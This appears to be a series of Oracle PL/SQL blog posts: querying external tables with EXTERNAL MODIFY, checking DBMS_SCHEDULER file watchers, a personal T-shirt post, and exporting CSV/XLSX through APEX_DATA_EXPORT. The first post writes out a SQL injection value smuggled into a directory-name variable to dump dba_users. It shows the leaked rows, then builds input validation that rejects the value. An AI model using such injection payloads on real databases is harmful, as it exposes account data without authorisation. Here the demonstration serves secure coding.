On the face of it, the EXTERNAL MODIFY clause should present no barrier to use in PL/SQL :

clear screen
set serverout on 
begin
    for r_line in 
    (
        select text
        from nom_nom_xt external modify ( default directory recipies_dir location ('debs_lemon_drizzle_cake.txt') )
    )
    loop
        dbms_output.put_line(r_line.text);
    end loop;
end;
/

Whilst this works with no problems, look what happens when we try to use a variable to specify the filename :

clear screen
set serverout on 
declare
    v_file varchar2(4000) := 'debs_lemon_drizzle_cake.txt';
begin
    for r_line in 
    (
        select text
        from nom_nom_xt 
            external modify 
            ( 
                default directory recipies_dir 
                location (v_file) 
            )
    )
    loop
        dbms_output.put_line(r_line.text);
    end loop;
end;
/

ORA-06550: line 7, column 90: 
PL/SQL: ORA-00905: missing keyword

Specifying the directory in a variable doesn’t work either :

declare
    v_dir varchar2(4000) := 'recipies_dir';
begin
    for r_line in 
    (
        select text
        from nom_nom_xt 
            external modify 
            ( 
                default directory v_dir 
                location ('debs_lemon_drizzle_cake.txt') 
            )
    )
    loop
        dbms_output.put_line(r_line.text);
    end loop;
end;
/

ORA-06564: object V_DIR does not exist

Just in case you’re tempted to solve this by doing something simple like :

clear screen
set serverout on 
declare
    v_dir all_directories.directory_name%type := 'recipies_dir';
    v_file varchar2(100) := 'mikes_beans_on_toast.txt';
    v_stmnt clob := 
        q'[
            select text
            from nom_nom_xt external modify( default directory <dir> location('<file>'))
        ]';
    v_rc sys_refcursor;
    v_text varchar2(4000);
begin
    v_stmnt := replace(replace(v_stmnt, '<dir>', v_dir), '<file>', v_file);
    open v_rc for v_stmnt;
    loop
        fetch v_rc into v_text;
        exit when v_rc%notfound;
        dbms_output.put_line(v_text);
    end loop;
    close v_rc;
end;
/

You should be aware that this approach is vulnerable to SQL Injection.
I know that it’s become fashionable in recent years for “Security” to be invoked as a reason for all kinds of – often questionable – restrictions on the hard-pressed Software Engineer.
So, just in case you’re sceptical about this, here’s a quick demo :

clear screen
set serverout on 
declare
    v_dir varchar2(500) := 
        q'[recipies_dir location ('mikes_beans_on_toast.txt')) union all select username||' '||account_status||' '||authentication_type from dba_users --]';
    v_file varchar2(100) := 'mikes_beans_on_toast.txt';
    v_stmnt varchar2(4000) := q'[select text from nom_nom_xt external modify (default directory <dir> location ('<file>'))]';
    v_rc sys_refcursor;
    v_text varchar2(4000);
begin
    v_stmnt := replace(replace(v_stmnt, '<dir>', v_dir), '<file>', v_file);
    open v_rc for v_stmnt;
    loop
        fetch v_rc into v_text;
        exit when v_rc%notfound;
        dbms_output.put_line(v_text);
    end loop;
    close v_rc;
end;
/

bread
baked beans
butter
SYS OPEN PASSWORD
SYSTEM OPEN PASSWORD
XS$NULL EXPIRED & LOCKED PASSWORD
HR OPEN PASSWORD
...snip...

PL/SQL procedure successfully completed.

If we resort to Dynamic SQL, we can pass the filename into the query as a bind variable :

set serverout on
declare
    v_file varchar2(4000) := 'debs_lemon_drizzle_cake.txt';
    v_stmnt clob := 
        'select text from nom_nom_xt external modify( default directory recipies_dir location (:v_file))';
    v_rc sys_refcursor;
    v_text varchar2(4000);
    v_rtn number;
begin
    open v_rc for v_stmnt using v_file;
    loop
        fetch v_rc into v_text;
        exit when v_rc%notfound;
        dbms_output.put_line( v_text);
        
    end loop;
    close v_rc;
end;
/

…or, if you prefer…

clear screen
set serverout on
declare
    v_file varchar2(120) := 'debs_lemon_drizzle_cake.txt';
    v_stmnt clob := q'[select text from nom_nom_xt external modify( default directory recipies_dir location (:b1))]';
    v_rc sys_refcursor;
    v_text varchar2(4000);
    
    v_curid number;
    v_rtn number;
begin
    v_curid := dbms_sql.open_cursor;
    dbms_sql.parse(v_curid, v_stmnt, dbms_sql.native);
    
    dbms_sql.bind_variable(v_curid, 'b1', v_file);
    
    v_rtn := dbms_sql.execute(v_curid);
    
    v_rc := dbms_sql.to_refcursor(v_curid);
    loop
        fetch v_rc into v_text;
        exit when v_rc%notfound;
        dbms_output.put_line( v_text);
    end loop;
    close v_rc;
end;
/

225g unsalted butter
225g caster sugar
4 free-range eggs
225g self-raising flour
1 unwaxed lemon
85g icing sugar


PL/SQL procedure successfully completed.

However, Oracle remains rather recalcitrant when you try doing the same with the default directory.

After a number of “glugs” from a bottle of something rather expensive whilst trawling through the Oracle Documentation for some clues, I happened to look at the Oracle Base article on this topic which notes that you cannot use bind variables when specifying the Default Directory.

One possible workaround would be to create one external table for each directory that you want to look at.

Alternatively, we can sanitize the incoming value for the DEFAULT DIRECTORY before we drop it into our query.

To this end, DBMS_ASSERT is not going to be much help.
The SQL_OBJECT_NAME function does not recognize Directory Objects…

select dbms_assert.sql_object_name('recipies_dir') from dual;

ORA-44002: invalid object name

… and the SIMPLE_SQL_NAME function will allow pretty much anything if it’s quoted…

select dbms_assert.simple_sql_name(
    q'["recipies_dir location('mikes_beans_on_toast.txt')) union all select username from dba_users --"]') 
from dual;

DBMS_ASSERT.SIMPLE_SQL_NAME(Q'["RECIPIES_DIRLOCATION('MIKES_BEANS_ON_TOAST.TXT'))UNIONALLSELECTUSERNAMEFROMDBA_USERS--"]')                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             
---------------------------------------------------------------------------
"recipies_dir location('mikes_beans_on_toast.txt')) union all select username from dba_users --"

Time then, to unplug the microwave and cook up something home-made…

I’m running on 19c so I know that :

• A directory object name should be a maximum of 128 characters long
• the name will conform to the Database Object Naming Rules

Additionally, I’m going to assume that we’re following Oracle’s recommendation that quoted identifiers are not used for database object names (including Directories). You can find that pearl of wisdom in the page linked above.

Finally, I want to make sure that a user only accesses a valid directory object on which they have appropriate permissions.

Something like this should get us most of the way :

set serverout on
clear screen
declare
    v_dir varchar2(4000) := 'recipies_dir';
    v_file varchar2(4000) := 'debs_lemon_drizzle_cake.txt';
    v_stmnt clob := 
        'select text from nom_nom_xt external modify( default directory <dir> location (:v_file))';
    v_rc sys_refcursor;
    v_text varchar2(4000);
    v_rtn number;
    
    v_placeholder pls_integer;
    v_found_dir boolean;
    cursor c_valid_dir is
        select null
        from all_directories 
        where directory_name = upper(v_dir);
begin
    if length( v_dir) > 128 then
        raise_application_error(-20101, 'Directory Identifier is too long');
    end if;
    -- Assume allowable characters are alphanumeric and underscore. Reject if it contains anything else
    if regexp_instr(replace(v_dir, '_'), '[[:punct:]]|[[:space:]]') > 0 then
        raise_application_error(-20110, 'Directory Name contains wacky characters');
    end if;    
    open c_valid_dir;
    fetch c_valid_dir into v_placeholder;
    v_found_dir := c_valid_dir%found;
    close c_valid_dir;
    if v_found_dir = false then
        raise_application_error(-20120, 'Directory not found');
    end if;    
    v_stmnt := replace(v_stmnt, '<dir>', v_dir);
    open v_rc for v_stmnt using v_file;
    loop
        fetch v_rc into v_text;
        exit when v_rc%notfound;
        dbms_output.put_line( v_text);
        
    end loop;
    close v_rc;
end;
/

We can now convert this into an Invoker’s rights package, that should restrict access to directories visible by the calling user :

create or replace package peckish
    authid current_user
as
    type t_nom is table of varchar2(4000);
    
    procedure validate_directory(i_dir in varchar2);

    function recipe( i_dir in varchar2, i_file in varchar2)
        return t_nom pipelined;
        
end peckish;        
/

create or replace package body peckish as

    procedure validate_directory( i_dir in varchar2)
    is
        v_placeholder pls_integer;
        v_found_dir boolean;
        cursor c_valid_dir is
            select null
            from all_directories 
            where directory_name = upper(i_dir);
    begin
        if length( i_dir) > 128 then
            raise_application_error(-20101, 'Directory Identifier is too long');
        end if;
    
        if regexp_instr(replace(i_dir, '_'), '[[:punct:]]|[[:space:]]') > 0 then
            raise_application_error(-20110, 'Directory Name contains wacky characters');
        end if;    
        open c_valid_dir;
        fetch c_valid_dir into v_placeholder;
        v_found_dir := c_valid_dir%found;
        close c_valid_dir;
        if v_found_dir = false then
            raise_application_error(-20120, 'Directory not found');
        end if;    
    end validate_directory;
    
    function recipe( i_dir in varchar2, i_file in varchar2)
        return t_nom pipelined
    is
        v_nom nom_nom_xt%rowtype;
        v_stmnt clob := 
            'select line, text from nom_nom_xt external modify( default directory <dir> location (:v_file))';
        v_rc sys_refcursor;
        v_text varchar2(4000);
       
    begin
        validate_directory(i_dir);
        v_stmnt := replace(v_stmnt, '<dir>', i_dir);            
        open v_rc for v_stmnt using i_file;
        loop
            fetch v_rc into v_nom.line, v_nom.text;
            exit when v_rc%notfound;
            pipe row( v_nom);
        end loop;
        close v_rc;
    end recipe;
end peckish;
/

Let’s run some tests :

select line as line_no, text as ingredient 
from table(peckish.recipe('recipies_dir', 'debs_lemon_drizzle_cake.txt'))
/


   LINE_NO INGREDIENT                              
---------- ----------------------------------------
         1 225g unsalted butter                    
         2 225g caster sugar                       
         3 4 free-range eggs                       
         4 225g self-raising flour                 
         5 1 unwaxed lemon                         
         6 85g icing sugar                         

6 rows selected. 

select text as ingredient
from table (
    peckish.recipe(
        'this_is_a_very_long_identifier_to_check_that_the_length_restriction_works_as_expected._Is_that_128_characters_yet_?_Apparently_not_Oh_well_lets_keep_going_for_a_bit',
        'mikes_beans_on_toast.txt'
    ))
/

ORA-20101: Directory Identifier is too long



select text as ingredient
from table( 
    peckish.recipe
    (
        q'["recipies_dir location('mikes_beans_on_toast.txt')) union all select username from dba_users --"]', 
        'debs_lemon_drizzle_cake.txt'
    ))
/

ORA-20110: Directory Name contains wacky characters

    
select text as ingredient
from table (peckish.recipe('super_secret_dir', 'mikes_beans_on_toast.txt'))
/

ORA-20120: Directory not found    

All of which has left me feeling rather in the mood for a snack. I wonder if there’s any of that cake left ?

As useful as they undoubtedly are, any use of a DBMS_SCHEDULER File Watchers in Oracle is likely to involve a number of moving parts.
This can make trying to track down issues feel a bit like being on a hamster wheel.
Fortunately, you can easily find out just exactly what the filewatcher is up to, if you know where to look …

I’ve got a procedure to populate a table with details of any arriving file.

create table incoming_files(
    destination VARCHAR2(4000),
    directory_path VARCHAR2(4000),
    actual_file_name VARCHAR2(4000),
    file_size NUMBER,
    file_timestamp TIMESTAMP WITH TIME ZONE)
/    

create or replace procedure save_incoming_file( i_result sys.scheduler_filewatcher_result)
as
begin
    insert into incoming_files( 
        destination, 
        directory_path, 
        actual_file_name, 
        file_size, 
        file_timestamp)
    values(
        i_result.destination,
        i_result.directory_path,
        i_result.actual_file_name,
        i_result.file_size,
        i_result.file_timestamp);
end;
/

The filewatcher and associated objects that will invoke this procedure are :

begin
    dbms_credential.create_credential
    (
        credential_name => 'starr',
        username => 'fstarr',
        password => 'some-complex-password'
    );
end;
/

begin
    dbms_scheduler.create_file_watcher(
        file_watcher_name => 'freddie',
        directory_path => '/u01/app/upload_files',
        file_name => '*.txt',
        credential_name => 'starr',
        enabled => false,
        comments => 'Feeling peckish');
end;
/



begin
    dbms_scheduler.create_program(
        program_name => 'snack_prog',
        program_type => 'stored_procedure',
        program_action => 'save_incoming_file',
        number_of_arguments => 1,
        enabled => false);
         
    -- need to make sure this program can see the message sent by the filewatcher...
    dbms_scheduler.define_metadata_argument(
        program_name => 'snack_prog',
        metadata_attribute => 'event_message',
        argument_position => 1);
         
    -- Create a job that links the filewatcher to the program...
    dbms_scheduler.create_job(
        job_name => 'snack_job',
        program_name => 'snack_prog',
        event_condition => null,
        queue_spec => 'freddie',
        auto_drop => false,
        enabled => false);
end;
/

The relevant components have been enabled :

begin
    dbms_scheduler.enable('freddie');
    dbms_scheduler.enable('snack_prog');
    dbms_scheduler.enable('snack_job');
end;
/

… and – connected on the os as fstarr – I’ve dropped a file into the directory…

echo 'Squeak!' >/u01/app/upload_files/hamster.txt

File watchers are initiated by a scheduled run of the SYS FILE_WATCHER job.

The logging_level value determines whether or not the executions of this job will be available in the *_SCHEDULER_JOB_RUN_DETAILS views.

select program_name, schedule_name, 
    job_class, logging_level
from dba_scheduler_jobs
where owner = 'SYS'
and job_name = 'FILE_WATCHER'
/

PROGRAM_NAME         SCHEDULE_NAME             JOB_CLASS                           LOGGING_LEVEL  
-------------------- ------------------------- ----------------------------------- ---------------
FILE_WATCHER_PROGRAM FILE_WATCHER_SCHEDULE     SCHED$_LOG_ON_ERRORS_CLASS          FULL           

If the logging_level is set to OFF (which appears to be the default in 19c), you can enable it by connecting as SYSDBA and running :

begin
    dbms_scheduler.set_attribute('FILE_WATCHER', 'logging_level', dbms_scheduler.logging_full);
end;
/

The job is assigned the FILE_WATCHER_SCHEDULE, which runs every 10 minutes by default. To check the current settings :

select repeat_interval
from dba_scheduler_schedules
where schedule_name = 'FILE_WATCHER_SCHEDULE'
/

REPEAT_INTERVAL               
------------------------------
FREQ=MINUTELY;INTERVAL=10

The thing is, there are times when the SYS.FILE_WATCHER seems to slope off for a tea-break. So, if you’re wondering why your file has not been processed yet, it’s handy to be able to check if this job has run when you expected it to.

In this case, as logging is enabled, we can do just that :

select log_id, log_date, instance_id, req_start_date, actual_start_date
from dba_scheduler_job_run_details
where owner = 'SYS'
and job_name = 'FILE_WATCHER'
and log_date >= sysdate - (1/24)
order by log_date desc
/

LOG_ID  LOG_DATE                            INSTANCE_ID REQ_START_DATE                             ACTUAL_START_DATE                         
------- ----------------------------------- ----------- ------------------------------------------ ------------------------------------------
1282    13-APR-24 14.50.47.326358000 +01:00           1 13-APR-24 14.50.47.000000000 EUROPE/LONDON 13-APR-24 14.50.47.091753000 EUROPE/LONDON
1274    13-APR-24 14.40.47.512172000 +01:00           1 13-APR-24 14.40.47.000000000 EUROPE/LONDON 13-APR-24 14.40.47.075846000 EUROPE/LONDON
1260    13-APR-24 14.30.47.301176000 +01:00           1 13-APR-24 14.30.47.000000000 EUROPE/LONDON 13-APR-24 14.30.47.048977000 EUROPE/LONDON
1248    13-APR-24 14.20.47.941210000 +01:00           1 13-APR-24 14.20.47.000000000 EUROPE/LONDON 13-APR-24 14.20.47.127769000 EUROPE/LONDON
1212    13-APR-24 14.10.48.480193000 +01:00           1 13-APR-24 14.10.47.000000000 EUROPE/LONDON 13-APR-24 14.10.47.153032000 EUROPE/LONDON
1172    13-APR-24 14.00.50.676270000 +01:00           1 13-APR-24 14.00.47.000000000 EUROPE/LONDON 13-APR-24 14.00.47.111936000 EUROPE/LONDON

6 rows selected. 

Even if the SYS.FILE_WATCHER is not logging, when it does run, any files being watched for are added to a queue, the contents of which can be found in SCHEDULER_FILEWATCHER_QT.
This query will get you the really useful details of what your filewatcher has been up to :

select 
    t.step_no,
    treat( t.user_data as sys.scheduler_filewatcher_result).actual_file_name as filename,
    treat( t.user_data as sys.scheduler_filewatcher_result).file_size as file_size,
    treat( t.user_data as sys.scheduler_filewatcher_result).file_timestamp as file_ts,
    t.enq_time,
    x.name as filewatcher,
    x.requested_file_name as search_pattern,
    x.credential_name as credential_name
from sys.scheduler_filewatcher_qt t,
    table(t.user_data.matching_requests) x
where enq_time > trunc(sysdate)
order by enq_time
/

  STEP_NO FILENAME         FILE_SIZE FILE_TS                          ENQ_TIME                     FILEWATCHER     SEARCH_PATTERN  CREDENTIAL_NAME
---------- --------------- ---------- -------------------------------- ---------------------------- --------------- --------------- ---------------
         0 hamster.txt              8 13-APR-24 12.06.58.000000000 GMT 13-APR-24 12.21.31.746338000 FREDDIE         *.txt           STARR          

Happily, in this case, our furry friend has avoided the Grim Squaker…

NOTE – No hamsters were harmed in the writing of this post.

I’d like to talk about a very good friend of mine.
Whilst he’s much older than me ( 11 or 12 weeks at least), we do happen to share interests common to programmers of a certain vintage.

About a year ago, he became rather unwell.
Since then, whenever I’ve gone to visit, I’ve taken care to wear something that’s particular to our friendship and/or appropriately geeky.

At one point, when things were looking particularly dicey, I promised him, that whilst “Captain Scarlet” was already taken, if he came through he could pick any other colour he liked.
As a life-long Luton Town fan, his choice was somewhat inevitable.
So then, what follows – through the medium of Geeky T-shirts – is a portrait of my mate Simon The Indestructable Captain Orange…

When we first met, Windows 3.1 was still on everyone’s desktop and somewhat prone to hanging at inopportune moments. Therefore, we are fully aware of both the origins and continuing relevance of this particular pearl of wisdom :

Fortunately, none of the machines Simon was wired up to in the hospital seemed to be running any version of Windows so I thought he’d be reassured by this :

Whilst our first meeting did not take place on a World riding through space on the back of a Giant Turtle ( it was in fact, in Milton Keynes), Simon did earn my eternal gratitude by recommending the book Good Omens – which proved to be my gateway to Discworld.
The relevance of this next item of “Geek Chic” is that, when Simon later set up his own company, he decided that it should have a Latin motto.
In this, he was inspired by the crest of the Ankh-Morpork Assassins’ Guild :

His motto :

Nil codex sine Lucre

…which translates as …

No code without payment

From mottoes to something more akin to a mystic incantation, chanted whenever you’re faced with a seemingly intractable technical issue. Also, Simon likes this design so…

As we both know, there are 10 types of people – those who understand binary and those who don’t…

When confronted by something like this, I am able to recognise that the binary numbers are ASCII codes representing alphanumeric characters. However, I’ve got nothing on Simon, a one-time Assembler Programmer.
Whilst I’m mentally removing my shoes and socks in preparation to translate the message, desperately trying to remember the golden rule of binary maths ( don’t forget to carry the 1), he’ll just come straight out with the answer (“Geek”, in this case).

Saving the geekiest to last, I’m planning to dazzle with this on my next visit :

Techie nostalgia and a Star Wars reference all on the one t-shirt. I don’t think I can top that. Well, not for now anyway.

As Data Warehouse developers, there is frequently a need for us to produce user reports in a variety of formats (ok, Excel).
Often these reports are the output of processes running as part of an unattended batch.
In the past I’ve written about some of the solutions out there for creating csv files and, of course Excel.

The good news is that, since APEX 20.2, Oracle provides the ability to do this out-of-the-box by means of the APEX_DATA_EXPORT PL/SQL package.
The catch is that you need to have an active APEX session to call it.
Which means you need to have an APEX application handy.

Fortunately, it is possible to initiate an APEX session and call this package without going anywhere near the APEX UI itself, as you’ll see shortly.

Specfically what we’ll cover is :

• generating comma-separated (CSV) output
• generating an XLSX file
• using the ADD_AGGREGATE procedure to add a summary
• using the ADD_HIGHLIGHT procedure to apply conditional formatting
• using the GET_PRINT_CONFIG function to apply document-wide styling

Additionally, we’ll explore how to create a suitable APEX Application from a script if one is not already available.

Incidentally, the scripts in this post can be found in this Github Repo.

Before I go any further, I should acknowledge the work of Amirreza Rastandeh, who’s LinkedIn article inspired this post.

A quick word on the Environment I used in these examples – it’s an Oracle supplied VirtualBox appliance running Oracle 23c Free Database and APEX 22.2.

APEX_DATA_EXPORT offers a veritable cornucopia of output formats. However, to begin with, let’s keep things simple and just generate a CSV into a CLOB object so that we can check the contents directly from within a script.

We will need to call APEX_SESSION.CREATE_SESSION and pass it some details of an Apex application in order for this to work so the first thing we need to do is to see if we have such an application available :

select workspace, application_id, page_id, page_name
from apex_application_pages
order by page_id
/

WORKSPACE                      APPLICATION_ID    PAGE_ID PAGE_NAME           
------------------------------ -------------- ---------- --------------------
HR_REPORT_FILES                           105          0 Global Page         
HR_REPORT_FILES                           105          1 Home                
HR_REPORT_FILES                           105       9999 Login Page          

As long as we get at least one row back from this query, we’re good to go. Now for the script itself (called csv_direct.sql) :

set serverout on size unlimited
clear screen

declare

    cursor c_apex_app is
        select ws.workspace_id, ws.workspace, app.application_id, app.page_id
        from apex_application_pages app
        inner join apex_workspaces ws
            on ws.workspace = app.workspace
        order by page_id;    

    v_apex_app c_apex_app%rowtype;    
   
    v_stmnt varchar2(32000);
    v_context apex_exec.t_context;
    v_export apex_data_export.t_export;
begin

    dbms_output.put_line('Getting app details...');
    -- We only need the first record returned by this cursor 
    open c_apex_app; 
    fetch c_apex_app into v_apex_app;
    close c_apex_app;
    
    apex_util.set_workspace(v_apex_app.workspace);
    
    dbms_output.put_line('Creating session');

    apex_session.create_session
    (
        p_app_id => v_apex_app.application_id,
        p_page_id => v_apex_app.page_id,
        p_username => 'anynameyoulike' -- this parameter is mandatory but can be any string apparently
    );
    
    v_stmnt := 'select * from departments';

    dbms_output.put_line('Opening context');
    
    v_context := apex_exec.open_query_context
    (
        p_location => apex_exec.c_location_local_db,
        p_sql_query => v_stmnt
    );    
    
    dbms_output.put_line('Running Report');
    v_export := apex_data_export.export
    (
        p_context => v_context,
        p_format => 'CSV', -- patience ! We'll get to the Excel shortly.
        p_as_clob => true -- by default the output is saved as a blob. This overrides to save as a clob
    );
    
    apex_exec.close( v_context);

    dbms_output.put_line(v_export.content_clob);
end;
/
        

Running this we get :

Getting app details...
Creating session
Opening context
Running Report
DEPARTMENT_ID,DEPARTMENT_NAME,MANAGER_ID,LOCATION_ID
10,Administration,200,1700
20,Marketing,201,1800
30,Purchasing,114,1700
40,Human Resources,203,2400
50,Shipping,121,1500
60,IT,103,1400
70,Public Relations,204,2700
80,Sales,145,2500
90,Executive,100,1700
100,Finance,108,1700
110,Accounting,205,1700
120,Treasury,,1700
130,Corporate Tax,,1700
140,Control And Credit,,1700
150,Shareholder Services,,1700
160,Benefits,,1700
170,Manufacturing,,1700
180,Construction,,1700
190,Contracting,,1700
200,Operations,,1700
210,IT Support,,1700
220,NOC,,1700
230,IT Helpdesk,,1700
240,Government Sales,,1700
250,Retail Sales,,1700
260,Recruiting,,1700
270,Payroll,,1700



PL/SQL procedure successfully completed.

We can get away with using DBMS_OUTPUT as the result set is comparatively small. Under normal circumstances, you’ll probably want to save it into a table ( as in Amirreza’s post), or write it out to a file.

In fact, writing to a file is exactly what we’ll be doing with the Excel output we’ll generate shortly.

First though, what if you don’t have a suitable APEX application lying around…

NOTE – you only need to do this if you do not already have a suitable APEX Application available.
If you do then feel free to skip to the next bit, where we finally start generating XLSX files !

First, we need to check to see if there is an APEX workspace present for us to create the Application in :

select workspace, workspace_id
from apex_workspaces;

If this returns any rows then you should be OK to pick one of the workspaces listed and create your application in that.

Otherwise, you can create a Workspace by connecting to the database as a user with the APEX_ADMINISTRATOR_ROLE and running :

exec apex_instance_admin.add_workspace( p_workspace => 'HR_REPORT_FILES', p_primary_schema => 'HR');

…where HR_REPORT_FILES is the name of the workspace you want to create and HR is a schema that has access to the database objects you want to run your reports against.

Next, following Jeffrey Kemp’s sage advice ,

I can just create and then export an Application on any compatible APEX instance and then simply import the resulting file.
That’s right, it’ll work irrespective of the environment on which the export file is created, as long as it’s a compatible APEX version.
If you need them, the instructions for exporting an APEX application are here.

I’ve just clicked through the Create Application Wizard to produce an empty application using the HR schema and have then exported it to a file called apex22_hr_report_files_app.sql.

To import it, I ran the following script:

begin
    
    apex_application_install.set_workspace('HR_REPORT_FILES');
    apex_application_install.generate_application_id;
    apex_application_install.generate_offset; 
end;    
/

@/home/mike/Downloads/apex22_hr_report_files_app.sql

Once it’s run we can confirm that the import was successful :

select application_id, application_name,
    page_id, page_name
from apex_application_pages
where workspace = 'HR_REPORT_FILES'
/

APPLICATION_ID APPLICATION_NAME        PAGE_ID PAGE_NAME           
-------------- -------------------- ---------- --------------------
           105 Lazy Reports                  0 Global Page         
           105 Lazy Reports                  1 Home                
           105 Lazy Reports               9999 Login Page          

The add_workspace.sql script in the Github Repo executes both the create workspace and application import steps described here.

Right, where were we…

First we’ll need a directory object so we can write our Excel file out to disk. So, as a suitably privileged user :

create or replace directory hr_reports as '/opt/oracle/hr_reports';

grant read, write on directory hr_reports to hr;

OK – now to generate our report as an Excel…

set serverout on size unlimited
clear screen

declare

    cursor c_apex_app is
    select ws.workspace_id, ws.workspace, app.application_id, app.page_id
    from apex_application_pages app
    inner join apex_workspaces ws
        on ws.workspace = app.workspace
    order by page_id;    

    v_apex_app c_apex_app%rowtype;    

    v_stmnt varchar2(32000);
    v_context apex_exec.t_context;
    
    v_export apex_data_export.t_export;
    
    -- File handling variables
    v_dir all_directories.directory_name%type := 'HR_REPORTS';
    v_fname varchar2(128) := 'hr_departments_reports.xlsx';

    v_fh utl_file.file_type;
    v_buffer raw(32767);
    v_amount integer := 32767;
    v_pos integer := 1;
    v_length integer;
    
begin

    open c_apex_app; 
    fetch c_apex_app into v_apex_app;
    close c_apex_app;
    
    apex_util.set_workspace(v_apex_app.workspace);

    
    v_stmnt := 'select * from departments';

    apex_session.create_session
    (
        p_app_id => v_apex_app.application_id,
        p_page_id => v_apex_app.page_id,
        p_username => 'whatever' -- any string will do !
    );
    
   -- Create the query context...
    v_context := apex_exec.open_query_context
    (
        p_location => apex_exec.c_location_local_db,
        p_sql_query => v_stmnt
    );    

    -- ...and export the data into the v_export object
    -- this time use the default - i.e. export to a BLOB, rather than a CLOB
    v_export := apex_data_export.export
    (
        p_context => v_context,
        p_format => apex_data_export.c_format_xlsx -- XLSX
    );
    
    apex_exec.close( v_context);
    
    dbms_output.put_line('Writing file');

    -- Now write the blob out to an xlsx file

    v_length := dbms_lob.getlength( v_export.content_blob);
    v_fh := utl_file.fopen( v_dir, v_fname, 'wb', 32767);
        
    while v_pos <= v_length loop
        dbms_lob.read( v_export.content_blob, v_amount, v_pos, v_buffer);
        utl_file.put_raw(v_fh, v_buffer, true);
        v_pos := v_pos + v_amount;
    end loop;
        
    utl_file.fclose( v_fh);
    dbms_output.put_line('File written to HR_REPORTS');

exception when others then
    dbms_output.put_line(sqlerrm);
    if utl_file.is_open( v_fh) then
        utl_file.fclose(v_fh);
    end if;    
end;
/

As you can see, this script is quite similar to the csv version. The main differences are that, firstly, we’re saving the output as a BLOB rather than a CLOB, simply by not overriding the default behaviour when calling APEX_DATA_EXPORT.EXPORT.

Secondly, we’re writing the result out to a file.

Once we retrieve the file and open it, we can see that indeed, it is in xlsx format :

As well as generating a vanilla spreadsheet, APEX_DATA_EXPORT does have a few more tricks up it’s sleeve…

We can add a row count to the bottom of our report by means of the ADD_AGGREGATE procedure.
To do so, we need to modify the report query to produce the data to be used by the aggregate :

select department_id, department_name, manager_id, location_id,  
    count( 1) over() as record_count 
 from departments';

As we don’t want to list the record count on every row, we need to exclude the record_count column from the result set by specifying the columns that we do actually want in the output. We can do this with calls to the ADD_COLUMN procedure :

    apex_data_export.add_column( p_columns => v_columns, p_name => 'DEPARTMENT_ID');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'DEPARTMENT_NAME');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'MANAGER_ID');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'LOCATION_ID');

NOTE – column names passed in the P_NAME parameter in this procedure need to be in UPPERCASE.

Finally, we need to specify an aggregate itself using the ADD_AGGREGATE procedure :

    apex_data_export.add_aggregate
    (
        p_aggregates => v_aggregates,
        p_label => 'Data Row Count',
        p_display_column => 'DEPARTMENT_ID',
        p_value_column => 'RECORD_COUNT'
    );    

The finished script is called excel_aggregate.sql :

set serverout on size unlimited
clear screen

declare

    cursor c_apex_app is
        select ws.workspace_id, ws.workspace, app.application_id, app.page_id
        from apex_application_pages app
        inner join apex_workspaces ws
            on ws.workspace = app.workspace
        order by page_id;    

    v_apex_app c_apex_app%rowtype;    
   
    v_stmnt varchar2(32000);
    
    v_columns apex_data_export.t_columns;
    v_aggregates  apex_data_export.t_aggregates;
    
    v_context apex_exec.t_context;
    v_export apex_data_export.t_export;
    
    -- File handling variables
    v_dir all_directories.directory_name%type := 'HR_REPORTS';
    v_fname varchar2(128) := 'aggregate.xlsx';

    v_fh utl_file.file_type;
    v_buffer raw(32767);
    v_amount integer := 32767;
    v_pos integer := 1;
    v_length integer;
    
begin

    -- We only need the first record returned by this cursor 
    open c_apex_app; 
    fetch c_apex_app into v_apex_app;
    close c_apex_app;
    
    apex_util.set_workspace(v_apex_app.workspace);
    
    apex_session.create_session
    (
        p_app_id => v_apex_app.application_id,
        p_page_id => v_apex_app.page_id,
        p_username => 'anynameyoulike' 
    );
    
    
    -- Add a row with a count of the records in the file
    -- We need to add the relevant data to the query and then format it
    v_stmnt := 
        'select department_id, department_name, manager_id, location_id,  
            count( 1) over() as record_count 
         from departments';

    -- Make sure only the data columns to display on the report, not the record_count
    -- NOTE - in all of these procs, column names need to be passed as upper case literals
    apex_data_export.add_column( p_columns => v_columns, p_name => 'DEPARTMENT_ID');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'DEPARTMENT_NAME');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'MANAGER_ID');
    apex_data_export.add_column( p_columns => v_columns, p_name => 'LOCATION_ID');
    
    apex_data_export.add_aggregate
    (
        p_aggregates => v_aggregates,
        p_label => 'Data Row Count',
        p_display_column => 'DEPARTMENT_ID',
        p_value_column => 'RECORD_COUNT'
    );    

    v_context := apex_exec.open_query_context
    (
        p_location => apex_exec.c_location_local_db,
        p_sql_query => v_stmnt
    );    

    v_export := apex_data_export.export
    (
        p_context => v_context,
        p_format => apex_data_export.c_format_xlsx, -- XLSX
        p_columns => v_columns,
        p_aggregates => v_aggregates
    );
    
    apex_exec.close( v_context);
    
    v_length := dbms_lob.getlength( v_export.content_blob);
    v_fh := utl_file.fopen( v_dir, v_fname, 'wb', 32767);
    
    while v_pos <= v_length loop
        dbms_lob.read( v_export.content_blob, v_amount, v_pos, v_buffer);
        utl_file.put_raw(v_fh, v_buffer, true);
        v_pos := v_pos + v_amount;
    end loop;
        
    utl_file.fclose( v_fh);

    dbms_output.put_line('File written to HR_REPORTS');
    
exception when others then
    dbms_output.put_line(sqlerrm);
    if utl_file.is_open( v_fh) then
        utl_file.fclose(v_fh);
    end if;    
end;
/
       

When we run this, we now get a row count row at the bottom of the file :

The ADD_HIGHLIGHT procedure allows us to apply conditional formatting to individual cells, or even entire rows.
Once again the values to determine this behaviour need to be included in the report query.
In this case, we specify a highlight_id value to be used in rendering the row.

This time, I have a new query and I want to apply formatting based on the value of the SALARY column.
If the value is below 6000 then I want to make the text red ( by applying highlighter_id 1).
Otherwise, I want to set the background colour to green for the entire row ( highlighter_id 2).
The query therefore is this :

select first_name, last_name, salary,
    case when salary < 6000 then 1 else 2 end as fair_pay
from employees
where job_id = 'IT_PROG'

Highlight 1 is :

    -- text in red for id 1
    apex_data_export.add_highlight(
        p_highlights => v_highlights,
        p_id => 1,
        p_value_column => 'FAIR_PAY',
        p_display_column => 'SALARY',
        p_text_color => '#FF0000' );    

…and highlight 2 is :

